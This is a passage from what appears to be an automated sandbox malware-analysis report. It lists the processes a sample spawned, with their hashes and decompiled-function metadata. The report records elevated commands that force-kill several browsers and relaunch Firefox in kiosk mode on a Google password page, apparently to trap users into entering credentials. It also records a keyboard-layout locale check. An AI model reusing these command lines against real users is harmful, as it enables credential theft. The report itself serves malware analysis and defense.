Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xa70000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	19:51:58
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	19:51:58
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xa70000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	19:51:58
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	19:51:58
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xa70000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	19:51:58
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	19:51:58
Start date:	12/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	19:51:59
Start date:	12/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	19:51:59
Start date:	12/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.5%
Total number of Nodes:	525
Total number of Limit Nodes:	10

Executed Functions

Function 00F55C83 Relevance: 20.8, APIs: 3, Strings: 8, Instructions: 1535registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00000001,B2B5B3E5,B2B5B3E5), ref: 00F55DCC
RegQueryValueExA.KERNEL32(B2B5B3E5,?,00000000,00000000,?,00000400,?,?,00000000,00000001,B2B5B3E5,B2B5B3E5), ref: 00F55DFA
RegCloseKey.KERNEL32(B2B5B3E5,?,?,00000000,00000001,B2B5B3E5,B2B5B3E5), ref: 00F55E06

Strings

stoi argument out of range, xrefs: 00F57081
0000043f, xrefs: 00F5612B
00000419, xrefs: 00F56098
invalid stoi argument, xrefs: 00F57090
Keyboard Layout\Preload, xrefs: 00F56054
VUUU, xrefs: 00F56F41
00000423, xrefs: 00F560FA
00000422, xrefs: 00F560C9

Memory Dump Source

Source File: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1752722183.0000000000F50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752791680.0000000000FB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753051842.0000000000FB9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753121794.0000000000FBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753161490.0000000000FC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753258997.0000000000FC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753296978.0000000000FC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753662175.0000000001114000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753754373.0000000001116000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001126000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755045852.0000000001137000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755063098.000000000113D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755080172.0000000001145000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755093675.0000000001146000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755105895.0000000001147000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755121161.000000000114E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755136572.0000000001159000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755152448.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755168242.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755208020.0000000001196000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755222711.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755235349.000000000119C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755251304.00000000011A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755267195.00000000011B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755284255.00000000011B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755296998.00000000011B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755314228.00000000011BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755329040.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755345530.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755358762.00000000011C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755372736.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755386501.00000000011CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755403161.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755417894.00000000011D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755432060.00000000011D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755453550.00000000011F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.00000000011F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.0000000001213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755512933.000000000122F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755527334.0000000001231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755541548.0000000001246000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755561600.0000000001247000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755579040.0000000001248000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755596027.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755611221.000000000124D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755627860.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755645165.000000000125E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$VUUU$invalid stoi argument$stoi argument out of range
API String ID: 3677997916-1112634906
Opcode ID: d0ad727b4098f854eb18f9f1d69e43ef2d48a683e4f11896865198c1a3c2cb16
Instruction ID: 6d0da2dba3e3fe8486c5863e9562d747a44587a16cdf232e6f5266c2b7489e77
Opcode Fuzzy Hash: d0ad727b4098f854eb18f9f1d69e43ef2d48a683e4f11896865198c1a3c2cb16
Instruction Fuzzy Hash: 24C23371A002189BDF28DF28CC85BEDB7B5EF45301F504298E919E72C2DB759A88DF91

Function 00F5735A Relevance: 2.5, APIs: 1, Instructions: 1031
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1752722183.0000000000F50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752791680.0000000000FB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753051842.0000000000FB9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753121794.0000000000FBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753161490.0000000000FC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753258997.0000000000FC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753296978.0000000000FC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753662175.0000000001114000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753754373.0000000001116000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001126000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755045852.0000000001137000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755063098.000000000113D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755080172.0000000001145000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755093675.0000000001146000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755105895.0000000001147000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755121161.000000000114E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755136572.0000000001159000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755152448.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755168242.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755208020.0000000001196000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755222711.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755235349.000000000119C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755251304.00000000011A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755267195.00000000011B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755284255.00000000011B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755296998.00000000011B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755314228.00000000011BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755329040.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755345530.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755358762.00000000011C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755372736.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755386501.00000000011CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755403161.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755417894.00000000011D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755432060.00000000011D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755453550.00000000011F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.00000000011F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.0000000001213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755512933.000000000122F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755527334.0000000001231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755541548.0000000001246000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755561600.0000000001247000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755579040.0000000001248000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755596027.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755611221.000000000124D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755627860.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755645165.000000000125E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_file.jbxd

Yara matches

Similarity

API ID: ConditionVariableWake
String ID:
API String ID: 1192502693-0
Opcode ID: feb0c4a59b7768faab2c39913bba6fdc5639c7c5600f490e16f44fbe892ef7d4
Instruction ID: fc25bfcaac496c4bac64c904998274934eee5499eb6e5da86a68bee1492f27be
Opcode Fuzzy Hash: feb0c4a59b7768faab2c39913bba6fdc5639c7c5600f490e16f44fbe892ef7d4
Instruction Fuzzy Hash: 51725971A042489BDB08EF78DC8AB9D7B75EF45315F10425CF814973C1DB399A84EB92

Function 00F8652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00F8652A,?,?,?,?,?,00F87661), ref: 00F86567

Memory Dump Source

Source File: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1752722183.0000000000F50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752791680.0000000000FB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753051842.0000000000FB9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753121794.0000000000FBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753161490.0000000000FC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753258997.0000000000FC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753296978.0000000000FC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753662175.0000000001114000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753754373.0000000001116000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001126000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755045852.0000000001137000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755063098.000000000113D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755080172.0000000001145000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755093675.0000000001146000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755105895.0000000001147000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755121161.000000000114E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755136572.0000000001159000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755152448.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755168242.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755208020.0000000001196000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755222711.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755235349.000000000119C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755251304.00000000011A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755267195.00000000011B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755284255.00000000011B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755296998.00000000011B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755314228.00000000011BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755329040.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755345530.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755358762.00000000011C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755372736.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755386501.00000000011CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755403161.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755417894.00000000011D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755432060.00000000011D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755453550.00000000011F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.00000000011F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.0000000001213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755512933.000000000122F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755527334.0000000001231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755541548.0000000001246000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755561600.0000000001247000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755579040.0000000001248000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755596027.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755611221.000000000124D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755627860.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755645165.000000000125E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: eba5868b327f1537b720164e53400b75b9738cdd3d64e891828f398d18afb2a8
Instruction ID: 49900e6133e1c9a91b0012190155fdce8964236248c2afe484a9179d2ecadd49
Opcode Fuzzy Hash: eba5868b327f1537b720164e53400b75b9738cdd3d64e891828f398d18afb2a8
Instruction Fuzzy Hash: 2DE08C30151208AFCF25BB18DC4DD983B6AEB52755F080804F8188A226CB29DE81EB80

Function 057B0C9B Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1756952655.00000000057B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 057B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_57b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eabc27a03f25bbd94556090cc510cd2ee7ca603dbfb238540ee6f46b8dc15ae8
Instruction ID: 059a7d1be92d581e262d7a5c1a5f164e90cbaffcc5d7e9465ac65309fbf6d6a1
Opcode Fuzzy Hash: eabc27a03f25bbd94556090cc510cd2ee7ca603dbfb238540ee6f46b8dc15ae8
Instruction Fuzzy Hash: DE1103EB14C160BD7102D5426F28FFB6B6EE1D2770331882AF807C5482E2D95E8E6171

Function 00F55C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

0000043f, xrefs: 00F5612B
00000419, xrefs: 00F56098
Keyboard Layout\Preload, xrefs: 00F56054
00000423, xrefs: 00F560FA
00000422, xrefs: 00F560C9

Memory Dump Source

Source File: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1752722183.0000000000F50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752791680.0000000000FB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753051842.0000000000FB9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753121794.0000000000FBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753161490.0000000000FC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753258997.0000000000FC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753296978.0000000000FC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753662175.0000000001114000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753754373.0000000001116000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001126000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755045852.0000000001137000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755063098.000000000113D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755080172.0000000001145000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755093675.0000000001146000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755105895.0000000001147000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755121161.000000000114E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755136572.0000000001159000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755152448.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755168242.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755208020.0000000001196000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755222711.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755235349.000000000119C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755251304.00000000011A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755267195.00000000011B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755284255.00000000011B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755296998.00000000011B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755314228.00000000011BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755329040.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755345530.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755358762.00000000011C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755372736.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755386501.00000000011CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755403161.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755417894.00000000011D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755432060.00000000011D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755453550.00000000011F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.00000000011F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.0000000001213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755512933.000000000122F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755527334.0000000001231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755541548.0000000001246000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755561600.0000000001247000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755579040.0000000001248000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755596027.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755611221.000000000124D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755627860.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755645165.000000000125E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 8163a70fd639717fafb6a967a2d0f9fbfbb323739f4960bf08450e5ac41e954d
Instruction ID: 450d7859c0974d3eb513f957fb1c0aa0feff95dd9b9e3b19ed982a6ef8d25273
Opcode Fuzzy Hash: 8163a70fd639717fafb6a967a2d0f9fbfbb323739f4960bf08450e5ac41e954d
Instruction Fuzzy Hash: A5F1E3B090024CAFEB24DF54CC85BDEBBB9EF45704F504298F918A7281DB749A88DF95

Function 00F59BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F5A963
CreateMutexA.KERNEL32(00000000,00000000,00FB3254), ref: 00F5A981

